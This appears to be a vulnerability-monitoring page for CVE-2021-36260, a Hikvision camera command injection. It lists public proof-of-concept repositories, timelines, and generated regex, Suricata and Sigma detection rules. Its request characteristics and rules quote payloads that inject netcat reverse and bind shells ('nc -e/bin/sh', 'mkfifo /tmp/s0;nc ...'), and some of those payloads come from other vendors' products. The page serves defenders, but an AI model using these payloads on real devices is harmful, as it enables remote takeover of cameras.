PoC Monitor
← All CVEs
CVE-2021-36260published 22 Sep 2021 12:07 UTCData: JSON · API

Hikvision Security cameras web server

Hikvision Improper Input Validation

Edge device · Camera / IoTknown edge product: Hikvision Security cameras web server Hikvision Improper (high confidence)

A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

First public PoC 26 daysafter publication · 18 Oct 2021
Public PoCs2017 on GitHub · 3 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-78
CISA KEV 10 Jan 2022110 days after publication

Timeline

Days relative to CVE publication
t=0+14+28+42+56+70+84+98CVE published22 Sep 2021 · t = 0First public PoC18 Oct 2021 · t+26dAdded to CISA KEV10 Jan 2022 · t+110d

First public PoC 26 days after publication; added to CISA KEV 110 days after publication. First PoC: rabbitsafe/CVE-2021-36260 (created 18 Oct 2021, found by us: backfilled).

PoC repositories

Found on GitHub.

17 PoCs · 2 pending · 4 informational · 2 suspicious or fake

PoCs 17
RepositoryCreatedStarsAssessment
mcw0/PoC 7 Mar 2017 −4.5 y 781 PoC older repo: PoC date unknown, not used for the first PoC
rabbitsafe/CVE-2021-36260 18 Oct 2021 +26 d 17 PoC
Aiminsun/CVE-2021-36260 27 Oct 2021 +35 d 309 PoC
s0duku/PocSelenium 1 Nov 2021 +40 d 0 PoC
TaroballzChen/CVE-2021-36260-metasploit 3 Nov 2021 +42 d 20 PoC
Cuerz/CVE-2021-36260 3 Aug 2022 +315 d 173 PoC
readloud/PoC 14 Oct 2022 +1.1 y 0 PoC via PoC Index
Nxychx/TVT-NVR 10 Jan 2023 +1.3 y 1 PoC via PoC Index
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

naycha/TVT-NVR 10 Jan 2023 +1.3 y 0 PoC via PoC Index
naycha/TVT-config 10 Jan 2023 +1.3 y 1 PoC via PoC Index
naycha/NVR-CONFIG 10 Jan 2023 +1.3 y 1 PoC via PoC Index
naycha/TVT-NVR-config 10 Jan 2023 +1.3 y 1 PoC via PoC Index
haingn/HIK-CVE-2021-36260-Exploit 22 Oct 2023 +2.1 y 1 PoC
NanoTrash/hikvision_brute 7 Mar 2024 +2.5 y 2 PoC
aengussong/hikvision_probe 26 Nov 2024 +3.2 y 3 Scanner
shubtheone/CVE-2021-36260-hikvision 15 Jan 2026 +4.3 y 0 PoC
yanxinwu946/hikvision-unauthenticated-rce-cve-2021-36260 21 Jan 2026 +4.3 y 4 PoC
Pending 2
RepositoryCreatedStarsAssessment
saaydmr/hikvision-exploiter 21 Jan 2026 +4.3 y 1 Pending
TakenoSite/Simple-CVE-2021-36260 unknown 0 Pending · repository unavailable (HTTP 404)
Informational 4
RepositoryCreatedStarsAssessment
tamim1089/HikvisionExploiter 5 Jul 2024 +2.8 y 400 Informational · detection
code-msga/HikvisionExploiter_fixed 26 Mar 2026 +4.5 y 0 Informational · detection
kwekre/poc 8 Jul 2026 +4.8 y 1 Informational · list
sylhetyhackvenger/HIKRAVEN 17 Jul 2026 +4.8 y 11 Informational · list
Suspicious or fake 2
RepositoryCreatedStarsAssessment
tuntin9x/CheckHKRCE 13 Dec 2021 +82 d 7 Fake
Miuguel/psychic-chainsaw 25 Feb 2022 +156 d 0 Fake

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 17 PoC repos

POST /form/AddIPFilter

Body markers
list=2 type=1 filterIp=$(nc -lp 1337 -e/bin/sh) in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/README.md:245 Nxychx/TVT-NVR/README.md:265 mcw0/PoC/README.md:245 mcw0/PoC/README.md:265 naycha/NVR-CONFIG/README.md:245 naycha/NVR-CONFIG/README.md:265

POST /form/DeleteIPFilter

Body markers
list=2 type=1 filterIp=$(nc -lp 1337 -e/bin/sh) in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/README.md:253 Nxychx/TVT-NVR/README.md:273 mcw0/PoC/README.md:253 mcw0/PoC/README.md:273 naycha/NVR-CONFIG/README.md:253 naycha/NVR-CONFIG/README.md:273

POST /index.cgi

Key headers
Cookie: viewnavi=yes; right=1
Body markers
submit1= loginname=$(for((i=0;i<91;i ));do echo -en A;done)$(echo -en XXXX) `for((i=0;i<2028;i ));do echo -en B;done`XXXX $(echo -en nc 192.168.57.1 4444 -e/bin/sh)�`for((i=0;i<1997;i ));do echo -en B;done`���� in application/x-www-form-urlencoded
Ports
8080, 50021
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:31 Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:75 Nxychx/TVT-NVR/LifeSafetyPower-Netlink-PoC.py:756 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:31 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:75 mcw0/PoC/LifeSafetyPower-Netlink-PoC.py:756

PUT /geo-cgi/sdk_fw_check.cgi

Body markers
BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjozMDUNCkhJRDoxMTc2LE5hbWU6R1YtQlgzNDAwRSxEb3duVmVyOjMwMw0KSElEOjExNzUsTmFtZTpHVi1CWDE1MDBFLERvd25WZXI6MzAzDQpISUQ6MTEwMSxOYW1lOkdWLVVORkUyNTAzLERvd25WZXI6MzA2DQpISUQ6MTE0NSxOYW1lOkdWLVVOMjYwMCxEb3c= in application/x-www-form-urlencoded
Ports
80
Seen in
6 repos: Nxychx/TVT-NVR, mcw0/PoC, naycha/NVR-CONFIG, naycha/TVT-NVR, naycha/TVT-NVR-config, naycha/TVT-config
Evidence
Nxychx/TVT-NVR/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 mcw0/PoC/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/NVR-CONFIG/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-NVR/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-NVR-config/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61 naycha/TVT-config/Geovision IP Camera Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access.txt:61

PUT /SDK/webLanguage

Key headers
Accept: */* Accept-Language: en-US,en;q=0.9,sv;q=0.8 X-Requested-With: XMLHttpRequest
Body markers
<?xml version="1.0" encoding="UTF-8"?>' \ {var}$(>webLib/cu)</language> <?xml version="1.0" encoding="UTF-8"?> in application/x-www-form-urlencoded; charset=UTF-8
Ports
80, 8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Seen in
3 repos: Cuerz/CVE-2021-36260, aengussong/hikvision_probe, yanxinwu946/hikvision-unauthenticated-rce-cve-2021-36260
Evidence
Cuerz/CVE-2021-36260/CVE-2021-36260.py:42 Cuerz/CVE-2021-36260/CVE-2021-36260.py:70 aengussong/hikvision_probe/cve/CVE_2021_36260.py:24 aengussong/hikvision_probe/cve/CVE_2021_36260.py:21 yanxinwu946/hikvision-unauthenticated-rce-cve-2021-36260/CVE-2021-36260.py:46 yanxinwu946/hikvision-unauthenticated-rce-cve-2021-36260/CVE-2021-36260.py:64

PUT /

Key headers
Accept: */* Accept-Language: en-US,en;q=0.9,sv;q=0.8 X-Requested-With: XMLHttpRequest
Content-Type
application/x-www-form-urlencoded; charset=UTF-8
Seen in
2 repos: NanoTrash/hikvision_brute, haingn/HIK-CVE-2021-36260-Exploit
Evidence
NanoTrash/hikvision_brute/src/main.go:143 NanoTrash/hikvision_brute/src/main.go:158 haingn/HIK-CVE-2021-36260-Exploit/src/main.go:143 haingn/HIK-CVE-2021-36260-Exploit/src/main.go:158

{VAR} /

Key headers
Accept: */* Accept-Language: en-US,en;q=0.9,sv;q=0.8 X-Requested-With: XMLHttpRequest
Content-Type
application/x-www-form-urlencoded; charset=UTF-8
Seen in
2 repos: NanoTrash/hikvision_brute, haingn/HIK-CVE-2021-36260-Exploit
Evidence
NanoTrash/hikvision_brute/src/main.go:103 haingn/HIK-CVE-2021-36260-Exploit/src/main.go:103

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /requestSystemConfig
(?i)^/requestSystemConfig(?:[?#].*)?$
GET /JpegStream.cgi
(?i)^/JpegStream\.cgi\?(?:.*&)?username=GEOVISION\\.*password=;mkfifo /tmp/s0;nc -w 5 192\.168\.57\.1 1337</tmp/s0
GET /Maintain/upgrade.asp
(?i)^/Maintain/upgrade\.asp\?(?:.*&)?ID=
GET /PSIA/System/configurationData
(?i)^/PSIA/System/configurationData(?:[?#].*)?$
GET /PictureCatch.cgi
(?i)^/PictureCatch\.cgi\?(?:.*&)?username=GEOVISION.*password=;echo "<!--#include file="SYS_CFG"-->">tmp/Login\.htm;.*data_type=1.*attachment=1.*channel=1.*secret=1.*key=PWNED.*username=GEOVISION\\.*password=;mkfifo /tmp/s0;nc -w 5 192\.168\.57\.1 1337</tmp/s0

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /requestSystemConfig
alert http any any -> $HOME_NET [8080,50021] (msg:"GG PoC-Monitor CVE-2021-36260 Hikvision Security cameras web server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/requestSystemConfig"; http.header; content:"Authorization: Basic"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2021-36260; classtype:web-application-attack; sid:9578184; rev:1;)
GET /JpegStream.cgi
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-36260 Hikvision Security cameras web server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/JpegStream.cgi"; http.uri; content:"username=GEOVISION|5c|"; http.uri; content:"password=|3b|mkfifo /tmp/s0|3b|nc -w 5 192.168.57.1 1337</tmp/s0"; reference:url,poc.griffinguard.io/cve/CVE-2021-36260; classtype:web-application-attack; sid:9412551; rev:1;)
GET /Maintain/upgrade.asp
alert http any any -> $HOME_NET [8080,50021] (msg:"GG PoC-Monitor CVE-2021-36260 Hikvision Security cameras web server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/Maintain/upgrade.asp"; http.uri; content:"ID="; reference:url,poc.griffinguard.io/cve/CVE-2021-36260; classtype:web-application-attack; sid:9836514; rev:1;)
GET /PSIA/System/configurationData
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-36260 Hikvision Security cameras web server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/PSIA/System/configurationData"; reference:url,poc.griffinguard.io/cve/CVE-2021-36260; classtype:web-application-attack; sid:9641206; rev:1;)
GET /PictureCatch.cgi
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2021-36260 Hikvision Security cameras web server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/PictureCatch.cgi"; http.uri; content:"username=GEOVISION"; http.uri; content:"password=|3b|echo |22|<!--#include file=|22|SYS_CFG|22|-->|22|>tmp/Login.htm|3b|"; http.uri; content:"data_type=1"; http.uri; content:"attachment=1"; http.uri; content:"channel=1"; http.uri; content:"secret=1"; http.uri; content:"key=PWNED"; http.uri; content:"username=GEOVISION|5c|"; http.uri; content:"password=|3b|mkfifo /tmp/s0|3b|nc -w 5 192.168.57.1 1337</tmp/s0"; reference:url,poc.griffinguard.io/cve/CVE-2021-36260; classtype:web-application-attack; sid:9446660; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /requestSystemConfig
title: Hikvision Security cameras web server exploit attempt (CVE-2021-36260)
id: gg-pocmon-cve-2021-36260-9578184
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-36260. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-36260
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/requestSystemConfig'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.36260
GET /JpegStream.cgi
title: Hikvision Security cameras web server exploit attempt (CVE-2021-36260)
id: gg-pocmon-cve-2021-36260-9412551
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-36260. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-36260
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/JpegStream.cgi'
    cs-uri-query|contains|all:
      - 'username=GEOVISION\'
      - 'password=;mkfifo /tmp/s0;nc -w 5 192.168.57.1 1337</tmp/s0'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.36260
GET /Maintain/upgrade.asp
title: Hikvision Security cameras web server exploit attempt (CVE-2021-36260)
id: gg-pocmon-cve-2021-36260-9836514
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-36260. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-36260
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/Maintain/upgrade.asp'
    cs-uri-query|contains|all:
      - 'ID='
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.36260
GET /PSIA/System/configurationData
title: Hikvision Security cameras web server exploit attempt (CVE-2021-36260)
id: gg-pocmon-cve-2021-36260-9641206
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-36260. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-36260
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/PSIA/System/configurationData'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.36260
GET /PictureCatch.cgi
title: Hikvision Security cameras web server exploit attempt (CVE-2021-36260)
id: gg-pocmon-cve-2021-36260-9446660
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-36260. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-36260
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/PictureCatch.cgi'
    cs-uri-query|contains|all:
      - 'username=GEOVISION'
      - 'password=;echo "<!--#include file="SYS_CFG"-->">tmp/Login.htm;'
      - 'data_type=1'
      - 'attachment=1'
      - 'channel=1'
      - 'secret=1'
      - 'key=PWNED'
      - 'username=GEOVISION\'
      - 'password=;mkfifo /tmp/s0;nc -w 5 192.168.57.1 1337</tmp/s0'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.36260